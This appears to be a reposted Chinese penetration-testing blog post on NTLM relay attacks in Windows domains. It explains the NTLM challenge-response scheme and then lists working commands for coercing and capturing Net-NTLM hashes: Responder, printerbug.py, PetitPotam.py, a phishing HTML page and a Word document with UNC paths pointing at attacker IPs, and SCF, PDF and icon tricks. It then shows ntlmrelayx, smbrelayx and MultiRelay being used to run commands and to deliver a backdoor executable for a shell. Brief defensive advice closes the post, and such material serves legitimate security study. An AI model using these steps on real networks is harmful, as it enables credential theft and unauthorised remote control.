文章总结: 本文系统介绍了NTLM协议认证流程与NTLM中继攻击技术,详细分析了打印机漏洞、PetitPotam等8种Net-NTLMHash捕获方法,并演示了MultiRelay、ntlmrelayx等工具的中继利用过程。文章最后提出了启用SMB签名、禁用NBNS/LLMNR协议等防御措施,为内网渗透测试提供了完整的技术参考。 综合评分: 75 文章分类: 渗透测试,内网渗透,漏洞分析,红队,WEB安全
【内网】内网域中NTLM中继那些事儿
原创
赤鸢安全 赤鸢安全
赤鸢安全
2024年3月12日 09:03 四川
在小说阅读器读本章
去阅读
想第一时间看到我们的大图推送吗?赶紧把我们设为星标吧!这样您就不会错过任何精彩内容啦!感谢您的支持!🌟
目录
0x01 初识NTLM协议
认证流程
Challenge和Response分析
0x02 NTLM Relay介绍
中继原理
中继步骤
0x03 捕获Net-NTLM Hash
利用打印机漏洞
利用PetitPotam漏洞
利用LLMNR&NBNS攻击
利用系统命令
利用钓鱼网页
利用office文档
利用系统图标
利用SCF文件
利用PDF文件
利用用户头像设置
0x04 NTLM Relay利用
MultiRelay.py
ntlmrelayx.py
smbrelayx.py
0x05 NTLM Relay防御
0x01 初识NTLM协议
基本概念:NTLM(NT LAN Manager)认证是一种早期的Windows网络身份认证协议。它在Windows系统中用于验证用户的身份,并提供对网络资源的访问控制,它是一种基于Challenge/Response的认证机制。
认证流程
NTLM协议Challenge/Response认证机制:
1.协商:双方先确定一下传输协议的版本等各种信息
2.质询:这一步是挑战/响应的关键一步
3.验证:对质询的最后一个结果进行验证,验证通过之后,即允许访问资源
NTLM协议Challenge/Response认证流程:
- 首先,client会向server发起请求连接协商一些相关东西
- server就会在本地生成一个(16位或8位)随机字符,即Challenge,并将Challenge传给client
- 当client接收到Challenge时,将username的NTLM-hash对Challenge进行加密(加密过程中会利用到用户名、域名、机器名等相关信息),生成Response,并将Response发送给server
- server在收到Response后,将其和相同的方式进行加密生成另一个Response,如果相同,则验证成功,如果不同就失败
Challenge和Response分析
Challenge:client向server发起协商后,server会随机产生一个Challenge值给client,它是无法预估的,每一次值都不会一样
Response:response=NTProofStr+blob
NTProofStr=将NTLM-V2-HASH(key)和(challenge+blob)两个进行HMAC-MD5加密
NTLM-V2-HASH=(大写的用户名+域名)编码成Unicode格式和用户密码的hash值(key)两个进行HMAC-MD5加密
blob:是由时间,目标信息,随机填充字符生成
因此在我们平时使用工具进行攻击的时候抓到的都是Net-NTML-Hash的数据
Net-NTML-Hash:username:domain:challenge:NTProofStr:blob
0x02 NTLM Relay介绍
中继原理
如下图所示,在认证的整个流程中,攻击者充当一个中间人,此时,在客户端的眼中,他就是服务端,而在服务端的眼中,他又是客户端。通过这种方式,攻击者就可以伪造客户端来完成身份验证,而在服务端看来一直只有攻击者在跟他交互,所以全程就会把攻击者认为是客户端,这样攻击者就达到了伪造客户端的目的。
中继步骤
- 获得受害者Net-NTLM Hash
- 使用Net-NTLM Hash进行重放攻击
注:因为Net-NTLM Hash不能直接发送给电脑,必须要有一个应用层协议来进行封装,如SMB、HTTP、RPC、LDAP,但是能不能中继到该协议,还需要看一下该协议是否有漏洞,是否支持等等
0x03 捕获Net-NTLM Hash
捕获NET-NTLM的方式有很多,捕获阶段分为两步:
1.在B电脑上发起监听
2.A电脑发送认证信息
利用打印机漏洞
kali开启监听
responder -I 监听网卡名 -wd
Windows的MS-RPRN协议用于打印客户端和服务器之前的通信,默认情况下是启用的。该协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()方法调用会创建一个远程更改通知对象,该对象对打印机对象的更改进行监视,并将更改通知发送到客户端。任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标,之后它将立即测试该连接,即向指定目标进行身份验证。
python3 printerbug.py '域名/账号:密码@目标ip' 'kali_ip'
回到刚才监听的窗口,发现以经捕获到Net-NTLM Hash
利用PetitPotam漏洞
该漏洞利用了微软加密文件系统远程协议(MS-EFSRPC), MS-EFSRPC用于对远程协议存储和通过网络访问的数据执行维护和管理操作。利用PetitPotam,安全研究院可以通过连接到LSARPC强制触发目标机器向指定的远程服务器发送Net-NTLM Hash
python3 PetitPotam.py -d abc.com -u anna -p 'admin!@#[email protected]' -pipe all listener 192.168.24.25
利用LLMNR&NBNS攻击
我们知道,在电脑的认证机制中,默认是以当前账号密码进行认证,所以,该攻击方式的原理就是当用户任意输入一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,于是系统就会发送LLMNR/NBNS数据包请求解析。攻击者收到请求后告诉客户端自己是不存在的名称要求客户端发送给Net-NTLM Hash进行认证,这样攻击者就可以收到客户端发来的Net-NTLM Hash。
利用系统命令
通过执行系统命令,访问指定的UNC路径,也可以获取到目标机器的Net-NTLM Hash,能够触发Net-NTLM Hash的常见命令如下:
net.exe use \hostshareattrib.exe \hostsharecacls.exe \hostsharecertreq.exe \hostsharecertutil.exe \hostsharecipher.exe \hostshareClipUp.exe -l \hostsharecmdl32.exe \hostshare等等,网上还有很多,可自行查阅
利用钓鱼网页
在网页中嵌入一段js脚本来触发NTLM认证,可配合XSS、文件上传、XXE
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"></head><body></body> <script src="\\192.168.24.50\test"></script></html>
利用office文档
- msf创建
msfconsoleuse auxiliary/docx/word_unc_injectorset lhost iprun
将生成的文档放到目标主机上执行,这里之前已经抓过了,所以就是下图所看到的回显:
- 手动创建
先创建一个word文件,然后再文档里面放一个图片,退出保存,使用7z打开找到document.xml.rels文件,将图片路径,改为:
Target="\\192.168.24.55\test" TargetMode="External"
这里我使用的word文件,不知道是不是版本
利用系统图标
每个文件夹内都会有一个隐藏文件desktop.ini用来指定和存储文件夹图标,默认是不可见的,只需要在控制面板中去掉“隐藏受保护的操作系统文件”即可
然后新建一个文件夹,每个文件夹下面都有,如果没有的话,就修改图标路径即可,将图标路径改为一个存在的主机ip
再去访问该文件
利用SCF文件
SCF文件是“Windows资源管理器命令”文件,scf文件时包含了lconFile属性,所以Explore.exe会尝试获取文件的图标,而lconFile属性是支持UNC路径的,所以我们也可以通过这里的lconFile属性来捕获Net-NTLM Hash
利用PDF文件
当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。
利用用户头像
在更改用户头像时,如果普通用户验证图片通过,那么system用户就会去访问192.168.24.102,并且携带用户凭据,就可以捕获Net-NTLM Hash
0x04 NTLM Relay利用
自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 SMB签名。
简单说就是,A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限
MultiRelay.py
修改Responder的配置文件,关闭SMB和HTTP (kali自带multiRelay.py 文件路径:/usr/share/responder/tools)
vim /usr/share/responder/Responder.conf
python3 MultiRelay.py -t 192.168.24.102 -u ALL
然后在被控主机上使用错误的UNC就能够触发smb,从而获得目标主机的shell
ntlmrelayx.py
impacket文件下载:https://github.com/CoreSecurity/impacket.git
./ntlmrelayx.py -t 192.168.24.102 -c "ipconfig" -smb2support
然后在被控主机上触发smb
回到kali中,得到ipconfig结果
如果要得到交互式shell,在-c后面接上powershell即可
smbrelayx.py
./smbrelayx.py -h 192.168.24.102 -c whoami
同样在被控主机上触发smb
如果要得到交互式shell,利用CS或msf生成后门文件,并开启监听
./smbrelayx.py -h 192.168.24.101 -e /home/gxy/桌面/shell.exe
同样在被控主机上触发smb,此时cs或者msf即可得到shell
0x05 NTLM Relay防御
- 在所有网络节点上使用SMB签名
- 禁用 NBNS 和 LLMNR 协议
- 定期更新系统
点击下方名片进入公众号,欢迎关注!
喜欢我们的文章的话,别忘了给我们点个赞哦!感谢您的支持👍
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赤鸢安全 赤鸢安全 赤鸢安全《【内网】内网域中NTLM中继那些事儿》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论